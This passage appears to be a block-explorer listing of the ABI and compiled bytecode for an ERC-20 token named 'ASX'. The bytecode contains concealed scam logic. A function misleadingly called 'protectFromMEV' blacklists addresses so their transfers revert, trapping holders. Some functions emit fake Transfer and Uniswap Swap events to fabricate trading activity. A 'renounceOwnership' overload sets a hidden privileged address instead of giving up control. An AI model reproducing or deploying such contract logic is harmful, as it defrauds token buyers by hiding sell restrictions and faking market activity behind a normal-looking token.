wner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600381526020017f41535800000000000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f415358000000000000000000000000000000000000000000000000000000000081525081816200016562000159620001e260201b60201c565b620001ea60201b60201c565b81600690805190602001906200017d92919062000430565b5080600790805190602001906200019692919062000430565b5050505050620001dc33620001b0620002ae60201b60201c565b600a620001be91906200067a565b64e8d4a51000620001d09190620006cb565b620002b760201b60201c565b6200089f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200032a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000321906200078d565b60405180910390fd5b6200033e600083836200042660201b60201c565b8060046000828254620003529190620007af565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040691906200081d565b60405180910390a362000422600083836200042b60201b60201c565b5050565b505050565b505050565b8280546200043e9062000869565b90600052602060002090601f016020900481019282620004625760008555620004ae565b82601f106200047d57805160ff1916838001178555620004ae565b82800160010185558215620004ae579182015b82811115620004ad57825182559160200191906001019062000490565b5b509050620004bd9190620004c1565b5090565b5b80821115620004dc576000816000905550600101620004c2565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200056e57808604811115620005465762000545620004e0565b5b6001851615620005565780820291505b808102905062000566856200050f565b945062000526565b94509492505050565b6000826200058957600190506200065c565b816200059957600090506200065c565b8160018114620005b25760028114620005bd57620005f3565b60019150506200065c565b60ff841115620005d257620005d1620004e0565b5b8360020a915084821115620005ec57620005eb620004e0565b5b506200065c565b5060208310610133831016604e8410600b84101617156200062d5782820a905083811115620006275762000626620004e0565b5b6200065c565b6200063c84848460016200051c565b92509050818404811115620006565762000655620004e0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006878262000663565b915062000694836200066d565b9250620006c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000577565b905092915050565b6000620006d88262000663565b9150620006e58362000663565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007215762000720620004e0565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000775601f836200072c565b915062000782826200073d565b602082019050919050565b60006020820190508181036000830152620007a88162000766565b9050919050565b6000620007bc8262000663565b9150620007c98362000663565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008015762000800620004e0565b5b828201905092915050565b620008178162000663565b82525050565b60006020820190506200083460008301846200080c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200088257607f821691505b602082108114156200089957620008986200083a565b5b50919050565b6123d480620008af6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b60405161016791906117a4565b60405180910390f35b61018a60048036038101906101859190611864565b6104ee565b60405161019791906118bf565b60405180910390f35b6101a8610511565b6040516101b591906118e9565b60405180910390f35b6101d860048036038101906101d39190611904565b61051b565b6040516101e591906118bf565b60405180910390f35b6101f661054a565b6040516102039190611973565b60405180910390f35b6102266004803603810190610221919061198e565b610553565b005b610242600480360381019061023d9190611864565b61059f565b60405161024f91906118bf565b60405180910390f35b610272600480360381019061026d919061198e565b6105d6565b60405161027f91906118bf565b60405180910390f35b6102a2600480360381019061029d919061198e565b61062c565b6040516102af91906118e9565b60405180910390f35b6102d260048036038101906102cd9190611a76565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b2a565b61077f565b005b610314600480360381019061030f9190611b77565b610909565b005b61031e610a95565b60405161032b9190611bfa565b60405180910390f35b61033c610abe565b60405161034991906117a4565b60405180910390f35b61036c60048036038101906103679190611b77565b610b50565b005b61038860048036038101906103839190611864565b610cdb565b60405161039591906118bf565b60405180910390f35b6103b860048036038101906103b39190611864565b610d52565b6040516103c591906118bf565b60405180910390f35b6103e860048036038101906103e39190611904565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c15565b610e30565b60405161041b91906118e9565b60405180910390f35b61043e60048036038101906104399190611b2a565b610eb7565b005b61045a6004803603810190610455919061198e565b610f64565b005b60606006805461046b90611c84565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c84565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe8565b9050610506818585610ff0565b600191505092915050565b6000600454905090565b600080610526610fe8565b90506105338582856111bb565b61053e858585611247565b60019150509392505050565b60006012905090565b61055b6115bf565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe8565b90506105cb8185856105bc8589610e30565b6105c69190611ce5565b610ff0565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d3b565b5b90506020020160208101906106ab919061198e565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d3b565b5b90506020020160208101906106e9919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d3b565b5b9050602002013560405161074791906118e9565b60405180910390a3808061075a90611d6a565b915050610678565b50505050505050565b6107736115bf565b61077d600061163d565b565b6107876115bf565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d3b565b5b90506020020160208101906107c3919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d3b565b5b9050602002016020810190610875919061198e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d3b565b5b90506020020160208101906108d7919061198e565b61062c565b6040516108e991906118e9565b60405180910390a380806108fc90611d6a565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d3b565b5b905060200201602081019061093f919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df8565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d3b565b5b9050602002016020810190610a2e919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e9565b60405180910390a38080610a8690611d6a565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c84565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c84565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d3b565b5b9050602002016020810190610b86919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e3d565b60405180910390a3848482818110610c2657610c25611d3b565b5b9050602002016020810190610c3b919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e9565b60405180910390a38080610ccc90611d6a565b915050610b53565b5050505050565b600080610ce6610fe8565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ef4565b60405180910390fd5b610d468286868403610ff0565b60019250505092915050565b600080610d5d610fe8565b9050610d6a818585611247565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e9565b60405180910390a3505050565b610de76115bf565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115bf565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d3b565b5b9050602002016020810190610efb919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d6a565b915050610ec2565b505050565b610f6c6115bf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390611f86565b60405180910390fd5b610fe58161163d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105790612018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c7906120aa565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ae91906118e9565b60405180910390a3505050565b60006111c78484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112415781811015611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122a90612116565b60405180910390fd5b6112408484848403610ff0565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae906121a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e9061223a565b60405180910390fd5b611332838383611701565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906122cc565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061145a5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b65760011515600560009054906101000a900460ff161515146114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac90612312565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a691906118e9565b60405180910390a36115b9848484611706565b50505050565b6115c7610fe8565b73ffffffffffffffffffffffffffffffffffffffff166115e5610a95565b73ffffffffffffffffffffffffffffffffffffffff161461163b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116329061237e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561174557808201518184015260208101905061172a565b83811115611754576000848401525b50505050565b6000601f19601f8301169050919050565b60006117768261170b565b6117808185611716565b9350611790818560208601611727565b6117998161175a565b840191505092915050565b600060208201905081810360008301526117be818461176b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117fb826117d0565b9050919050565b61180b816117f0565b811461181657600080fd5b50565b60008135905061182881611802565b92915050565b6000819050919050565b6118418161182e565b811461184c57600080fd5b50565b60008135905061185e81611838565b92915050565b6000806040838503121561187b5761187a6117c6565b5b600061188985828601611819565b925050602061189a8582860161184f565b9150509250929050565b60008115159050919050565b6118b9816118a4565b82525050565b60006020820190506118d460008301846118b0565b92915050565b6118e38161182e565b82525050565b60006020820190506118fe60008301846118da565b92915050565b60008060006060848603121561191d5761191c6117c6565b5b600061192b86828701611819565b935050602061193c86828701611819565b925050604061194d8682870161184f565b9150509250925092565b600060ff82169050919050565b61196d81611957565b82525050565b60006020820190506119886000830184611964565b92915050565b6000602082840312156119a4576119a36117c6565b5b60006119b284828501611819565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e0576119df6119bb565b5b8235905067ffffffffffffffff8111156119fd576119fc6119c0565b5b602083019150836020820283011115611a1957611a186119c5565b5b9250929050565b60008083601f840112611a3657611a356119bb565b5b8235905067ffffffffffffffff811115611a5357611a526119c0565b5b602083019150836020820283011115611a6f57611a6e6119c5565b5b9250929050565b60008060008060008060608789031215611a9357611a926117c6565b5b600087013567ffffffffffffffff811115611ab157611ab06117cb565b5b611abd89828a016119ca565b9650965050602087013567ffffffffffffffff811115611ae057611adf6117cb565b5b611aec89828a016119ca565b9450945050604087013567ffffffffffffffff811115611b0f57611b0e6117cb565b5b611b1b89828a01611a20565b92509250509295509295509295565b60008060208385031215611b4157611b406117c6565b5b600083013567ffffffffffffffff811115611b5f57611b5e6117cb565b5b611b6b858286016119ca565b92509250509250929050565b60008060008060608587031215611b9157611b906117c6565b5b600085013567ffffffffffffffff811115611baf57611bae6117cb565b5b611bbb878288016119ca565b94509450506020611bce8782880161184f565b9250506040611bdf8782880161184f565b91505092959194509250565b611bf4816117f0565b82525050565b6000602082019050611c0f6000830184611beb565b92915050565b60008060408385031215611c2c57611c2b6117c6565b5b6000611c3a85828601611819565b9250506020611c4b85828601611819565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9c57607f821691505b60208210811415611cb057611caf611c55565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cf08261182e565b9150611cfb8361182e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d3057611d2f611cb6565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d758261182e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611da857611da7611cb6565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611de2611ddd611dd884611db3565b611dbd565b61182e565b9050919050565b611df281611dc7565b82525050565b6000608082019050611e0d6000830187611de9565b611e1a60208301866118da565b611e2760408301856118da565b611e346060830184611de9565b95945050505050565b6000608082019050611e5260008301876118da565b611e5f6020830186611de9565b611e6c6040830185611de9565b611e7960608301846118da565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ede602583611716565b9150611ee982611e82565b604082019050919050565b60006020820190508181036000830152611f0d81611ed1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f70602683611716565b9150611f7b82611f14565b604082019050919050565b60006020820190508181036000830152611f9f81611f63565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612002602483611716565b915061200d82611fa6565b604082019050919050565b6000602082019050818103600083015261203181611ff5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612094602283611716565b915061209f82612038565b604082019050919050565b600060208201905081810360008301526120c381612087565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612100601d83611716565b915061210b826120ca565b602082019050919050565b6000602082019050818103600083015261212f816120f3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612192602583611716565b915061219d82612136565b604082019050919050565b600060208201905081810360008301526121c181612185565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612224602383611716565b915061222f826121c8565b604082019050919050565b6000602082019050818103600083015261225381612217565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122b6602683611716565b91506122c18261225a565b604082019050919050565b600060208201905081810360008301526122e5816122a9565b9050919050565b50565b60006122fc600083611716565b9150612307826122ec565b600082019050919050565b6000602082019050818103600083015261232b816122ef565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612368602083611716565b915061237382612332565b602082019050919050565b600060208201905081810360008301526123978161235b565b905091905056fea264697066735822122043140c37109490d686bc7722257849c34ad3fec2e4e209eba93d6a2fdf66b73064736f6c634300080c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b60405161016791906117a4565b60405180910390f35b61018a60048036038101906101859190611864565b6104ee565b60405161019791906118bf565b60405180910390f35b6101a8610511565b6040516101b591906118e9565b60405180910390f35b6101d860048036038101906101d39190611904565b61051b565b6040516101e591906118bf565b60405180910390f35b6101f661054a565b6040516102039190611973565b60405180910390f35b6102266004803603810190610221919061198e565b610553565b005b610242600480360381019061023d9190611864565b61059f565b60405161024f91906118bf565b60405180910390f35b610272600480360381019061026d919061198e565b6105d6565b60405161027f91906118bf565b60405180910390f35b6102a2600480360381019061029d919061198e565b61062c565b6040516102af91906118e9565b60405180910390f35b6102d260048036038101906102cd9190611a76565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b2a565b61077f565b005b610314600480360381019061030f9190611b77565b610909565b005b61031e610a95565b60405161032b9190611bfa565b60405180910390f35b61033c610abe565b60405161034991906117a4565b60405180910390f35b61036c60048036038101906103679190611b77565b610b50565b005b61038860048036038101906103839190611864565b610cdb565b60405161039591906118bf565b60405180910390f35b6103b860048036038101906103b39190611864565b610d52565b6040516103c591906118bf565b60405180910390f35b6103e860048036038101906103e39190611904565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c15565b610e30565b60405161041b91906118e9565b60405180910390f35b61043e60048036038101906104399190611b2a565b610eb7565b005b61045a6004803603810190610455919061198e565b610f64565b005b60606006805461046b90611c84565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c84565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe8565b9050610506818585610ff0565b600191505092915050565b6000600454905090565b600080610526610fe8565b90506105338582856111bb565b61053e858585611247565b60019150509392505050565b60006012905090565b61055b6115bf565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe8565b90506105cb8185856105bc8589610e30565b6105c69190611ce5565b610ff0565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d3b565b5b90506020020160208101906106ab919061198e565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d3b565b5b90506020020160208101906106e9919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d3b565b5b9050602002013560405161074791906118e9565b60405180910390a3808061075a90611d6a565b915050610678565b50505050505050565b6107736115bf565b61077d600061163d565b565b6107876115bf565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d3b565b5b90506020020160208101906107c3919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d3b565b5b9050602002016020810190610875919061198e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d3b565b5b90506020020160208101906108d7919061198e565b61062c565b6040516108e991906118e9565b60405180910390a380806108fc90611d6a565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d3b565b5b905060200201602081019061093f919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df8565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d3b565b5b9050602002016020810190610a2e919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e9565b60405180910390a38080610a8690611d6a565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c84565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c84565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d3b565b5b9050602002016020810190610b86919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e3d565b60405180910390a3848482818110610c2657610c25611d3b565b5b9050602002016020810190610c3b919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e9565b60405180910390a38080610ccc90611d6a565b915050610b53565b5050505050565b600080610ce6610fe8565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ef4565b60405180910390fd5b610d468286868403610ff0565b60019250505092915050565b600080610d5d610fe8565b9050610d6a818585611247565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e9565b60405180910390a3505050565b610de76115bf565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115bf565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d3b565b5b9050602002016020810190610efb919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d6a565b915050610ec2565b505050565b610f6c6115bf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390611f86565b60405180910390fd5b610fe58161163d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611060576040517f08c379a0000000000000000000000000